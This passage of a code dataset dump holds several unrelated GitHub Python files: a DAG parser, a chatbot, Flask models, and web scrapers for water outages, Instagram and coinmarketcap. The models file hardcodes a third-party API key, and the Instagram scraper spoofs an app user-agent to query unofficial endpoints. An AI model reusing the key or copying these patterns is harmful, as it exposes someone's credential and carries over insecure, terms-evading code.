>{\"1\":{\"2\":3}} [xy_02, xy_02] > x_03 > x_04 y_01 > y_05\nz_01 ! z_02 a_01 |{\"a\":12} a_02\n\"\"\"\n\ntest_str_01 = \"\"\"x_01 >{\"1\":0} x_02 >{} x_03 y_01 > y_02\n\"\"\"\n\nedgeList = EdgeListReader()\nedgeExpr = make_edge_Cypher_parser_exp() \nedgeLists = test_str.splitlines()\n\nfor edges in edgeLists:\n #pprint(\"***\\n\"+edges)\n result = edgeExpr.parseString(edges)\n\n #result = edgeListExpr.parseString(edges)\n for num, token in enumerate(result):\n #print('token: #'+str(num))\n edgeList.push(token)\n #pdb.set_trace()\n #print(\"\")\n\n#pprint(edgeList.edge_list)\n\n\nDAG_LEXICON = ['ConfigureDag','ImportDag','CreateTasks','UpdateTasks','RemoveTasks','ComposeDAG']\n#DAG_LEXICON = ['version','config.this','import.dags','create.tasks.Tasks','UpdateTasks','RemoveTasks','ComposeDAG']\nNODE_LEXICON = ['name','','CreateNodes','UpdateNodes','RemoveNodes','MakeDAG']\n\n\n\n\n# first pass checks are done\ndef load_dag_spec_01(file = \"./examples/Eg2.yaml\"):\n\n dag_stream = {}\n \n with open(file, 'r') as stream:\n try:\n for doc in yaml.load_all(stream):\n print('***')\n\n for key, val in doc.items():\n \n if key not in KEY_ACTIONS:\n msg = '{} is not a legal action'.format(key)\n raise ValueError(msg)\n\n if key in dag_stream.keys():\n msg = '{} can not appear more than once in the spec'.format(key)\n raise ValueError(msg)\n\n dag_stream[key] = val\n \n except yaml.YAMLError as exc:\n pprint(exc)\n return dag_stream\n\n\n#dag_stream = load_dag_spec()\nf1 = \"./examples/ImportExamples.yaml\"\nf2 = \"./examples/CreateTaskExamples.yaml\"\ndef load_dag_spec(file = f2):\n dag_stream = []\n with open(file, 'r') as stream:\n try:\n for doc in yaml.load_all(stream):\n #pprint('***')\n pprint(doc)\n dag_stream.append(doc)\n except yaml.YAMLError as exc:\n print(exc)\n return dag_stream\n\ndag_stream = load_dag_spec()\n#pprint(dag_stream)","repo_name":"dhavala/dagger","sub_path":"src/dagger/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":6857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"29192599487","text":"#!/usr/bin/env python3\n\"\"\"layer method\"\"\"\nimport tensorflow as tf\n\n\ndef create_layer(prev, n, activation):\n \"\"\"layer method\"\"\"\n initializer = tf.contrib.layers.variance_scaling_initializer(\n mode=\"FAN_AVG\")\n layer = tf.layers.Dense(\n units=n,\n activation=activation,\n kernel_initializer=initializer,\n name=\"layer\")\n\n return layer(prev)\n","repo_name":"xcoder19/holbertonschool-machine_learning","sub_path":"supervised_learning/tensorflow/1-create_layer.py","file_name":"1-create_layer.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"21161453851","text":"import json\nimport re as RegEx\nimport os\nimport random\nimport time\n\n# Debug Flag\nDEBUG = False\n\n# Getting this Script's Directory\nScriptDirectory = os.path.dirname(os.path.realpath(__file__))\n# Setting JSON File Paths\nConversationJSONFilePath = ScriptDirectory + \"/bot.json\"\nBotDataJSONFilePath = ScriptDirectory + \"/data.json\"\n\n# UTC Time\ndef get_time_in_utc():\n return time.time()\n\n# Loading and Writing JSON\ndef load_json(file):\n with open(file) as bot_responses:\n if DEBUG:\n print(f\"Loaded '{file}' successfully for Reading!\")\n return json.load(bot_responses)\n\ndef write_json(file, json_object):\n with open(file, \"w\") as bot_responses:\n if DEBUG:\n print(f\"Loaded '{file}' successfully for Writing!\")\n json.dump(json_object, bot_responses, indent=4)\n \n# Store JSON data\nResponseData = load_json(ConversationJSONFilePath)\nBotData = load_json(BotDataJSONFilePath)\n\n# Bot Class\nclass Bot:\n\n\n # Initialize Bot\n def __init__(self):\n # Check if Bot needs to be First-Time Initialized (When App is Started for the First Time by a User)\n IsInitialised = BotData[\"is_initialised\"]\n if not IsInitialised:\n print('run hora hai')\n # Do a Check-in on Mother on First Run\n BotData[\"check_in_schedule\"][\"last_check_in_day_by_utc\"] = 0.0#get_time_in_utc()\n BotData[\"is_initialised\"] = True\n write_json(BotDataJSONFilePath, BotData)\n\n\n # Get Response Based on User Input\n def get_response(self, input_string):\n # Splitting Words by using Regular Expression - Removing Spaces and Punctuations\n split_message = RegEx.split(r'\\s+|[,;?!.-]\\s*', input_string.lower())\n score_list = []\n\n # Check all the responses\n for response in ResponseData:\n response_score = 0\n required_score = 0\n required_words = response[\"required_words\"]\n\n # Check if there are any required words\n if required_words:\n for word in split_message:\n if word in required_words:\n required_score += 1\n\n # Amount of required words should match the required score\n NumOfRequiredWords = len(required_words)\n Passed = False\n if NumOfRequiredWords > 0:\n Passed = (required_score / NumOfRequiredWords) * 100 > 10 # More than 10 % Required Words\n else:\n Passed = True\n if Passed:\n # Check each word the user has typed\n for word in split_message:\n # If the word is in the response, add to the score\n if word in response[\"user_input\"]:\n response_score += 1\n\n # Add score to list\n score_list.append(response_score)\n\n # Find the best response and return it if they're not all 0\n best_response = max(score_list)\n response_index = score_list.index(best_response)\n\n # Check if input is empty\n if input_string == \"\":\n return \"Please type something so we can chat.\"\n\n # If there is no good response, return a random one.\n if best_response != 0:\n return ResponseData[response_index][\"bot_response\"]\n\n return self.default_response()\n\n\n # Respond with a Default Messege when User Input Cannot be Understood\n def default_response(self) -> str:\n RandomList = [\n \"Oh! It appears you wrote something I don't understand yet\",\n \"I'm terribly sorry, I didn't quite catch that.\"\n ]\n\n Count = len(RandomList)\n RandomItem = random.randrange(Count)\n\n return RandomList[RandomItem]\n \n def set_check_in_frequency(self, FrequencyInDays):\n if FrequencyInDays < 0.0:\n print(f\"Bot Warning: Frequency not set to '{FrequencyInDays}'. Value is Invalid.\")\n return\n BotData[\"check_in_schedule\"][\"frequency_per_day\"] = FrequencyInDays\n write_json(BotDataJSONFilePath, BotData)\n\n\n def check_in_on_mother(self):\n LastCheckin = BotData[\"check_in_schedule\"][\"last_check_in_day_by_utc\"]\n Freq = BotData[\"check_in_schedule\"][\"frequency_per_day\"]\n \n # Check if its Time for a Checkin\n utc = get_time_in_utc()\n NumOfDaysSinceEpoch = utc / 86400.0 \n NumOfDaysElapsed = NumOfDaysSinceEpoch - LastCheckin\n\n ShouldPerformCheckin = NumOfDaysElapsed >= Freq\n \n # Do Checkin in Seconds for Debug\n if DEBUG:\n NumOfSecondsElapsed = utc - (LastCheckin * 86400)\n ShouldPerformCheckin = NumOfSecondsElapsed >= Freq\n\n if ShouldPerformCheckin:\n # Update Checked in Day to Today\n BotData[\"check_in_schedule\"][\"last_check_in_day_by_utc\"] = NumOfDaysSinceEpoch\n write_json(BotDataJSONFilePath, BotData)\n \n # Send Messege\n RandomList = [\n \"Hope you are Having a Good Day! How have you been doing?\",\n \"Hello! Hope you have been eating well. You can talk to me about anything, I'm always here to help!\",\n \"Hey there! Tell me about your day, how have you been feeling?\"\n ]\n\n SurveyMessege = '\\n\\nWe would like to provide the best care we can, if you would like to answer some questions for us, click on this link below!\\n\\n Click Here '\n\n Count = len(RandomList)\n RandomItem = random.randrange(Count)\n\n return RandomList[RandomItem] + SurveyMessege\n \n return \"\"\n\n def get_time_left_for_next_check_in(self):\n LastCheckin = BotData[\"check_in_schedule\"][\"last_check_in_day_by_utc\"]\n Freq = BotData[\"check_in_schedule\"][\"frequency_per_day\"]\n \n # Check if its Time for a Checkin\n #print(LastCheckin)\n \n utc = get_time_in_utc()\n NumOfDaysSinceEpoch = utc / 86400.0 \n NumOfDaysElapsed = NumOfDaysSinceEpoch - LastCheckin\n NumOfDaysLeft = Freq - NumOfDaysElapsed\n #print('Current,', NumOfDaysSinceEpoch)\n \n if DEBUG:\n NumOfSecondsElapsed = utc - (LastCheckin * 86400)\n NumofSecondsLeft = Freq - NumOfSecondsElapsed\n return NumofSecondsLeft\n\n return NumOfDaysLeft\n\n def run(self, user_input):\n CheckinMsg = self.check_in_on_mother()\n TimeUnit = ' Days'\n if DEBUG:\n TimeUnit = ' Seconds'\n \n #print(self.get_time_left_for_next_check_in())\n\n CheckinHeader = 'CHECK-IN TIME: '\n if CheckinMsg == \"\":\n CheckinMsg = \"Check-in will happen in \" + str(int(self.get_time_left_for_next_check_in())) + TimeUnit\n CheckinHeader = ''\n\n # Check if we need to Perform Survey\n Messege = CheckinHeader + self.get_response(user_input) + '\\n\\n' + CheckinMsg\n \n return Messege\n","repo_name":"VishrutAggarwal/MatHeal","sub_path":"backend/chatbot/Bot.py","file_name":"Bot.py","file_ext":"py","file_size_in_byte":7001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"8106262498","text":"\"\"\"SQLAlchemy models for Friender.\"\"\"\r\n\r\nfrom flask_bcrypt import Bcrypt\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nimport requests\r\nfrom flask import (jsonify)\r\n\r\nbcrypt = Bcrypt()\r\ndb = SQLAlchemy()\r\n\r\nDEFAULT_IMAGE_URL = \"https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_960_720.png\"\r\n\r\n##############################################################################\r\n\"\"\"\"\r\n - one to many\r\n - one user to many matches\r\n - join table UserMatches\r\n\"\"\"\r\n\r\nclass Match(db.Model):\r\n \"\"\"Connection of a user <-- Match --> users\"\"\"\r\n\r\n __tablename__ = 'matches'\r\n\r\n username_matcher = db.Column(\r\n db.Text,\r\n db.ForeignKey('users.username',ondelete=\"cascade\"),\r\n nullable=False,\r\n primary_key=True,\r\n )\r\n\r\n username_matchee = db.Column(\r\n db.Text,\r\n db.ForeignKey('users.username',ondelete=\"cascade\"),\r\n nullable=False,\r\n primary_key=True,\r\n )\r\n\r\n\r\n##############################################################################\r\n\r\n\r\nclass User(db.Model):\r\n \"\"\"Users in system\"\"\"\r\n\r\n __tablename__ = 'users'\r\n\r\n username = db.Column(\r\n db.Text,\r\n primary_key=True,\r\n nullable=False,\r\n )\r\n\r\n email = db.Column(\r\n db.Text,\r\n nullable=False,\r\n unique=True,\r\n )\r\n\r\n password = db.Column(\r\n db.Text,\r\n nullable=False,\r\n )\r\n\r\n image = db.Column(\r\n db.Text,\r\n nullable=True,\r\n )\r\n\r\n location = db.Column(\r\n db.Text,\r\n nullable=True,\r\n )\r\n\r\n hobbies = db.relationship(\r\n \"Hobby\",\r\n secondary=\"user_hobbies\",\r\n backref=\"users\",\r\n )\r\n\r\n matchee = db.relationship(\r\n 'User',\r\n secondary='matches',\r\n primaryjoin=(Match.username_matcher == username),\r\n secondaryjoin=(Match.username_matchee == username),\r\n backref='matches'\r\n )\r\n\r\n\r\n @ classmethod\r\n def signup(cls, username, email, password, image=DEFAULT_IMAGE_URL):\r\n \"\"\"Sign up user.\r\n\r\n Hashes password and adds user to system.\r\n \"\"\"\r\n\r\n hashed_pwd = bcrypt.generate_password_hash(password).decode('UTF-8')\r\n\r\n user = User(\r\n username=username,\r\n password=hashed_pwd,\r\n email=email,\r\n image=image,\r\n )\r\n\r\n db.session.add(user)\r\n return user\r\n\r\n @classmethod\r\n def authenticate(cls, username, password):\r\n \"\"\"Find user with `username` and `password`.\r\n\r\n This is a class method. It searches for a user whose password hash matches\r\n this password and, if it finds such a user, returns that user object.\r\n\r\n If this can't find matching user (or if password is wrong), returns\r\n False.\r\n \"\"\"\r\n user = cls.query.filter_by(username=username).first()\r\n\r\n if user:\r\n is_auth = bcrypt.check_password_hash(user.password, password)\r\n if is_auth:\r\n return user\r\n\r\n return False\r\n\r\n def users_with_common_hobbies_descending(self):\r\n \"\"\"\r\n Return a frequency counter of users that have a common hobby with\r\n current user in descending order.\r\n \"\"\"\r\n counter = {}\r\n\r\n for hobby in self.hobbies:\r\n users = hobby.users\r\n for user in users:\r\n if user != self:\r\n counter[user.username] = counter.get(user.username, 0)+1\r\n\r\n sorted_users_by_frequency = sorted(\r\n counter.items(), key=lambda x: x[1], reverse=True)\r\n converted_users = dict(sorted_users_by_frequency)\r\n\r\n # potential_friends = list(converted_users.keys())\r\n\r\n details = []\r\n for friend in converted_users:\r\n friend_details = User.query.get(friend)\r\n test = friend_details.serialize_user()\r\n\r\n test[\"hobbies\"] = []\r\n for h in friend_details.hobbies:\r\n\r\n test[\"hobbies\"].append(h.code)\r\n details.append(test)\r\n\r\n return jsonify(details)\r\n\r\n @staticmethod\r\n def caculate_distance_between_zip(zip1, zip2):\r\n \"\"\"\r\n Find the distance between two zip codes\r\n \"\"\"\r\n zipcodekey = \"34rLAdNVPatsZZeuUF595mtEVPz9sAB3UOSIhHHjjpvoB4kD9urQHZDyL0QKXJkp\"\r\n url = f'https://www.zipcodeapi.com/rest/{zipcodekey}/distance.json/{zip1}/{zip2}/mile'\r\n response = requests.get(url)\r\n return response.text\r\n\r\n def serialize_user(self):\r\n \"\"\"Serializes only column data.\"\"\"\r\n return {c.name: getattr(self, c.name) for c in self.__table__.columns}\r\n\r\n##############################################################################\r\nclass UserHobbies(db.Model):\r\n \"\"\"\r\n Join table between users and hobbies\r\n \"\"\"\r\n\r\n __tablename__ = 'user_hobbies'\r\n\r\n username = db.Column(\r\n db.Text,\r\n db.ForeignKey('users.username'),\r\n nullable=False,\r\n primary_key=True,\r\n )\r\n\r\n hobby_code = db.Column(\r\n db.Text,\r\n db.ForeignKey('hobbies.code'),\r\n nullable=False,\r\n primary_key=True,\r\n )\r\n\r\n\r\nclass Hobby(db.Model):\r\n \"\"\"Hobby\r\n backref: users -> User\r\n \"\"\"\r\n\r\n __tablename__ = 'hobbies'\r\n\r\n code = db.Column(\r\n db.Text,\r\n nullable=True,\r\n primary_key=True,\r\n )\r\n\r\n\r\n##############################################################################\r\n\r\ndef connect_db(app):\r\n \"\"\"Connect this database to provided Flask app.\r\n\r\n You should call this in your Flask app.\r\n \"\"\"\r\n\r\n app.app_context().push()\r\n db.app = app\r\n db.init_app(app)\r\n","repo_name":"byunboy2/Friender","sub_path":"Friender-Backend/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"15028988220","text":"#\n# Author: Juraj Nyiri\n#\n#\n#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\nfrom pyquery import PyQuery\nimport re\nimport datetime\nimport requests\n\n\nclass TavosPy:\n def __init__(self):\n self.url = \"https://tavos.sk/nahlasene-odstavky-vody/\"\n\n self.htmlData = \"\"\n self.data = \"\"\n\n self.maxSearchValue = 10\n\n def setUrl(self, url):\n self.url = url\n\n def getUrl(self):\n return self.url\n\n def sethtmlData(self, data):\n self.htmlData = data\n\n def gethtmlData(self):\n return self.htmlData\n\n def setData(self, data):\n self.data = data\n\n def getData(self):\n return self.data\n\n def updateHtml(self):\n try:\n r = requests.get(self.getUrl())\n if r.status_code == 200:\n self.sethtmlData(r.text)\n return True\n except requests.exceptions.RequestException:\n return False\n return False\n\n def updateData(\n self, tdStart=0, theBestDataFound=False, theBestDataCorrectness=False\n ):\n pq = PyQuery(self.htmlData)\n\n lastUpdate = pq(\".elementor-shortcode\").find(\"p\").text()\n\n tag = pq(\"div > table > tbody > tr\").find(\"td\")\n\n pattern = re.compile(r\"(\\d+)\")\n\n tdChild = tdStart\n\n try:\n data = {}\n data[\"updated\"] = lastUpdate\n data[\"outages\"] = []\n # Get start time\n i = 0\n for date in tag(\"td:nth-child(\" + str(tdChild) + \")\").items():\n if len(data[\"outages\"]) <= i or data[\"outages\"][i] is None:\n data[\"outages\"].append({})\n data[\"outages\"][i][\"date\"] = {}\n data[\"outages\"][i][\"date\"][\"start\"] = self.getTime(\n re.findall(pattern, date.text())\n )\n i += 1\n\n tdChild += 1\n # Get city\n i = 0\n for city in tag(\"td:nth-child(\" + str(tdChild) + \")\").items():\n if len(data[\"outages\"]) <= i or data[\"outages\"][i] is None:\n data[\"outages\"].append({})\n data[\"outages\"][i][\"city\"] = city.text()\n i += 1\n\n tdChild += 1\n\n # Get company\n i = 0\n for street in tag(\"td:nth-child(\" + str(tdChild) + \")\").items():\n if len(data[\"outages\"]) <= i or data[\"outages\"][i] is None:\n data[\"outages\"].append({})\n data[\"outages\"][i][\"company\"] = street.text()\n i += 1\n\n tdChild += 1\n\n # Get street\n i = 0\n for street in tag(\"td:nth-child(\" + str(tdChild) + \")\").items():\n if len(data[\"outages\"]) <= i or data[\"outages\"][i] is None:\n data[\"outages\"].append({})\n data[\"outages\"][i][\"street\"] = street.text()\n i += 1\n\n tdChild += 1\n\n # Get end time\n i = 0\n for date in tag(\"td:nth-child(\" + str(tdChild) + \")\").items():\n if len(data[\"outages\"]) <= i or data[\"outages\"][i] is None:\n data[\"outages\"].append({})\n data[\"outages\"][i][\"date\"][\"end\"] = self.getTime(\n re.findall(pattern, date.text())\n )\n i += 1\n\n tdChild += 1\n # Get water import\n i = 0\n for waterImport in tag(\"td:nth-child(\" + str(tdChild) + \")\").items():\n if len(data[\"outages\"]) <= i or data[\"outages\"][i] is None:\n data[\"outages\"].append({})\n data[\"outages\"][i][\"waterImport\"] = waterImport.text()\n i += 1\n\n tdChild += 1\n\n # Get notes\n i = 0\n for note in tag(\"td:nth-child(\" + str(tdChild) + \")\").items():\n if len(data[\"outages\"]) <= i or data[\"outages\"][i] is None:\n data[\"outages\"].append({})\n data[\"outages\"][i][\"notes\"] = note.text()\n i += 1\n\n tdChild += 1\n\n # Get ID\n i = 0\n for note in tag(\"td:nth-child(\" + str(tdChild) + \")\").items():\n if len(data[\"outages\"]) <= i or data[\"outages\"][i] is None:\n data[\"outages\"].append({})\n data[\"outages\"][i][\"id\"] = note.text()\n i += 1\n\n # analyze data[\"outages\"] set for the best accuracy\n currentCorrectness = self.analyzeDataCorrectness(data[\"outages\"])\n\n if (\n not theBestDataFound or not theBestDataCorrectness\n ) or currentCorrectness > theBestDataCorrectness:\n theBestDataFound = data\n theBestDataCorrectness = currentCorrectness\n if tdStart <= self.maxSearchValue:\n return self.updateData(\n tdStart + 1, theBestDataFound, theBestDataCorrectness\n )\n else:\n return self.finishUpdateData(theBestDataFound)\n except Exception as e:\n if tdStart > self.maxSearchValue:\n return self.finishUpdateData(theBestDataFound)\n return self.updateData(\n tdStart + 1, theBestDataFound, theBestDataCorrectness\n )\n\n def finishUpdateData(self, data):\n properOutages = []\n for outage in data[\"outages\"]:\n if not (\n not \"street\" in outage\n or \"notes\" not in outage\n or \"waterImport\" not in outage\n or \"id\" not in outage\n ):\n properOutages.append(outage)\n data[\"outages\"] = properOutages\n self.setData(data)\n return len(data) > 0\n\n def analyzeDataCorrectness(self, data):\n correctness = 0\n for entry in data:\n if \"date\" in entry and \"start\" in entry[\"date\"] and entry[\"date\"][\"start\"]:\n correctness += 1\n if \"date\" in entry and \"end\" in entry[\"date\"] and entry[\"date\"][\"end\"]:\n correctness += 1\n if \"city\" in entry and entry[\"city\"] and entry[\"city\"] != \"\":\n correctness += 1\n if \"street\" in entry and entry[\"street\"] and entry[\"street\"] != \"\":\n correctness += 1\n if (\n \"waterImport\" in entry\n and entry[\"waterImport\"]\n and entry[\"waterImport\"] != \"\"\n ):\n correctness += 1\n if \"company\" in entry and entry[\"company\"] and entry[\"company\"] != \"\":\n correctness += 1\n if \"notes\" in entry and entry[\"notes\"] and entry[\"notes\"] != \"\":\n correctness += 1\n if \"id\" in entry and entry[\"id\"] and entry[\"id\"] != \"\":\n correctness += 1\n return correctness\n\n def update(self):\n return self.updateHtml() and self.updateData()\n\n def getTime(self, numbers):\n date = False\n\n if len(numbers) > 0:\n\n day = False\n month = False\n year = False\n\n minute = False\n second = False\n\n for number in numbers:\n if len(number) <= 2:\n if day == False:\n day = number\n elif month == False:\n month = number\n elif minute == False:\n minute = number\n elif second == False:\n second = number\n elif len(number) == 4:\n year = number\n\n if (\n day != False\n and month != False\n and year != False\n and minute != False\n and second != False\n ):\n date = datetime.datetime(\n int(year), int(month), int(day), int(minute), int(second),\n )\n return date\n","repo_name":"JurajNyiri/tavosPy","sub_path":"tavosPy/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"70392234396","text":"import sys\n\ndef main():\n\n\n while True:\n res = 0\n txt = input(\"Introduza o texto (fim para terminar): \")\n txt = txt.upper().strip().replace(' ','')\n txt = txt.split('=')[0]\n pos_off = txt.find(\"OFF\")\n pos_on = txt.find(\"ON\", pos_off)\n if pos_off >= 0 and pos_on >= 0:\n txt = txt[:pos_off] + txt[pos_on + len(\"ON\"):]\n\n if 'FIMf' == txt:\n break\n \n for caractere in txt:\n if caractere.isdigit():\n res += int(caractere) \n \n print(res)\n\n \nmain()","repo_name":"Alpha241/PL2023","sub_path":"TPC2/TPC2.py","file_name":"TPC2.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"8861488067","text":"from concurrent import futures\nimport time\n\nimport grpc\n\nimport myservice_pb2\nimport myservice_pb2_grpc\n\n_ONE_DAY_IN_SECONDS = 60 * 60 * 24\n\n\nclass TestService(myservice_pb2_grpc.TestServiceServicer):\n\n def ServerStreaming(self, request, context):\n l = len(request.payload)\n print(\"Request {}\".format(l))\n yield myservice_pb2.Res(payload=17)\n yield myservice_pb2.Res(payload=31)\n yield myservice_pb2.Res(payload=243)\n\n\ndef serve():\n server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))\n myservice_pb2_grpc.add_TestServiceServicer_to_server(TestService(), server)\n server.add_insecure_port('[::]:50051')\n server.start()\n print(\"Pyserver is running\")\n try:\n while True:\n time.sleep(_ONE_DAY_IN_SECONDS)\n except KeyboardInterrupt:\n server.stop(0)\n\n\nif __name__ == '__main__':\n serve()\n","repo_name":"thesamet/grpc-web-no-end","sub_path":"pyserver/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"38318844053","text":"import time\r\ntimes = {}\r\ndef functionTimer(name='a',prnt = True):\r\n '''\r\n Name is the name of the process, its literaly just there for orginization and being able to use it for more than one case\r\n prnt is if you want it to print something or not\r\n '''\r\n global times \r\n if name in times:\r\n t = time.time() - times[name]\r\n if prnt:\r\n print('{} finished in {} seconds'.format(name,t))\r\n del times[name]\r\n return(t)\r\n else:\r\n times[name] = time.time()\r\n","repo_name":"Quiltic/Usefull_Tools","sub_path":"JTools/TimeTools.py","file_name":"TimeTools.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"42095039150","text":"#!/usr/bin/python3\n# File: 0-add_integer.py\n# Author: Oluwatobiloba Light\n\"\"\"Defines an integer addition function.\nThis function takes two arguments, `a` and `b`, and performs the addition\noperation on them. If `a` is not provided, it defaults to 98. It raises a\nTypeError If either `a` or `b` is not an integer.\n\"\"\"\n\n\ndef add_integer(a, b=98):\n \"\"\"\n Returns the sum of a and b as an integer.\n \"\"\"\n if not isinstance(a, (int, float)):\n raise TypeError('a must be an integer')\n if not isinstance(b, (int, float)):\n raise TypeError('b must be an integer')\n return int(a) + int(b)\n","repo_name":"TobiLight/alx-higher_level_programming","sub_path":"0x07-python-test_driven_development/0-add_integer.py","file_name":"0-add_integer.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"24929323319","text":"import os, threading, json, re, time, datetime, pathlib\nimport traceback\nfrom pprint import pprint\n\nimport bs4, requests\nimport furl\n\nUSER_URL = \"https://api.wooriview.co.kr/api/craw/users\"\nAPPLICATION_URL = \"https://api.wooriview.co.kr/api/craw/applications\"\n\n\ndef extract_interactions(isoup):\n script = isoup.select_one(\"script:-soup-contains('userInteractionCount')\")\n # print(isoup.prettify())\n if not script:\n # print(\"no script\")\n return None\n data = json.loads(script.text)\n # pprint(data)\n if isinstance(data, dict):\n if '@type' in data and data['@type'] == 'ProfilePage':\n # pprint(data)\n interactions = data['interactionStatistic']\n else:\n return None\n elif isinstance(data, list):\n for item in data:\n if '@type' in item and item['@type'] == 'ProfilePage':\n interactions = item['interactionStatistic']\n break\n else:\n return None\n else:\n return None\n\n return interactions\n\n\ndef get_profile(profile_url):\n res = requests.get(profile_url)\n soup = bs4.BeautifulSoup(res.text, \"html.parser\")\n\n interactions = extract_interactions(soup)\n print(\"get profile !!!! !!!!!!!!!!!\")\n\n if not interactions:\n # TODO 클라이언트 코드와 비교 필요\n p = profile_url.split(\"/\")\n username = list(filter(lambda x: x, p))[-1]\n query_url = \"https://i.instagram.com/api/v1/users/web_profile_info/\"\n f = furl.furl(query_url)\n f.args['username'] = username\n res = requests.get(f.url, headers={\n 'user-agent': 'Instagram 146.0.0.27.125 (iPhone12,1; iOS 13_3; en_US; en-US; scale=2.00; 1656x3584; 190542906)',\n })\n try:\n data = res.json()\n except Exception as e:\n fe = traceback.format_exc()\n print(e)\n print(fe)\n print(res.text)\n raise Exception\n\n user = data['data']['user']\n follow = user['edge_follow']\n followers = user['edge_followed_by']['count']\n posts = user['edge_owner_to_timeline_media']['count']\n else:\n posts = None\n followers = None\n for i in interactions:\n itype = i['interactionType']\n if 'WriteAction' in itype:\n posts = i['userInteractionCount']\n elif 'FollowAction' in itype:\n followers = i['userInteractionCount']\n\n result = {\n 'posts': posts,\n 'followers': followers,\n }\n\n return result\n\n\ndef get_post_info(post_url):\n res = requests.get(post_url)\n soup = bs4.BeautifulSoup(res.text, \"html.parser\")\n\n interactions = extract_interactions(soup)\n if not interactions:\n p = post_url.split(\"/\")\n s = list(filter(lambda x: x, p))[-1]\n post_url = f\"https://www.instagram.com/graphql/query?query_hash=2b0673e0dc4580674a88d426fe00ea90&variables=%7B%22shortcode%22%3A%22{s}%22%7D\"\n res = requests.get(post_url, headers={\n 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1',\n })\n\n data = res.json()\n media = data['data']['shortcode_media']\n likes = media['edge_media_preview_like']['count']\n comments = media['edge_media_to_comment']['count']\n\n else:\n comments = None\n likes = None\n\n for i in interactions:\n itype = i['interactionType']\n if 'CommentAction' in itype:\n comments = i['userInteractionCount']\n elif 'LikeAction' in itype:\n likes = i['userInteractionCount']\n\n result = {\n 'comments': comments,\n 'likes': likes,\n }\n\n return result\n\n\ndef get_wooriview_users():\n res = requests.get(USER_URL)\n result = res.json()['data']\n return result\n\n\ndef get_wooriview_applications():\n res = requests.get(APPLICATION_URL)\n result = res.json()['data']\n return result\n\n\ndef post_wooriview_user(uid, count):\n res = requests.post(USER_URL, data={\n 'id': uid,\n 'count_follower': count,\n })\n\n result = res.json()\n\n return result\n\n\ndef post_wooriview_application(aid, likes, comments):\n res = requests.post(APPLICATION_URL, data={\n 'id': aid,\n 'count_like': likes,\n 'count_comment': comments,\n })\n\n result = res.json()\n\n return result\n\n\n","repo_name":"ShinHyungJune/crawler.wooriview.co.kr","sub_path":"instagram_functions.py","file_name":"instagram_functions.py","file_ext":"py","file_size_in_byte":4467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"30300190885","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport requests\nfrom initialization.sysconfig import sys_cfg\nimport logging\n\nclass BaseApi:\n\n def __init__(self):\n logging.info(\"Init base api interface\")\n self.host = sys_cfg.get('host_para', 'host')\n self.corp_id = sys_cfg.get('corp_para', 'corp_id')\n self.token_url = sys_cfg.get('corp_para', 'token_url')\n self.res = ' '\n\n def get_token(self, secret):\n\n params = {'corpid': self.corp_id, 'corpsecret': secret}\n logging.info('params:' + str(params))\n token_url = self.host + self.token_url\n logging.info('token_rul:' + str(token_url))\n token_res = requests.get(token_url, params=params, verify=False)\n return token_res.json().get(\"access_token\")\n\n\n def post_json(self,url,json_obj,params=None):\n if params:\n self.res = requests.post(url, json=json_obj, params=params, verify=False)\n else:\n self.res = requests.post(url, json=json_obj, verify=False)\n\n def get_response(self):\n logging.debug('response:' + str(self.res.json()))\n return self.res.json()\n\n def get_params(self, url, params):\n self.res = requests.get(url, params=params, verify=False)","repo_name":"yanjianmin1/pytest_weixinapi","sub_path":"src/apis/baseapi.py","file_name":"baseapi.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"17252913380","text":"import time\nfrom utils import get_webelemente_percentage_value, sort_by_field,add_custom_index_cell,get_money_as_number,write_to_csv\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\nfrom mail_sender import Mail_Sender\n\nservice = Service(executable_path=\"Users/Public/Downloads/chromedriver\")\ndriver = webdriver.Chrome(service=service)\ndriver.get('https://coinmarketcap.com')\n\nheight = driver.execute_script(\"return document.body.scrollHeight\")\nscroll = 0\nwhile True:\n scroll+=1\n driver.execute_script(f\"window.scrollTo(0,{1080 * scroll})\")\n if scroll*1080 >= height:\n break\n time.sleep(1)\n\ntable = []\ncrypto_rows = driver.find_elements(By.XPATH, '//tbody/tr')\nfor tr in crypto_rows:\n _, _, name, price, one_hr, one_day, one_week, market_cap, volume, circ_supply, week_chart, _ =tr.find_elements(By.XPATH,\".//td\")\n processed_row = {\n 'name' : name.text.split(\"\\n\")[0],\n 'price' : price.text,\n 'one_hr': get_webelemente_percentage_value(one_hr),\n 'one_day': 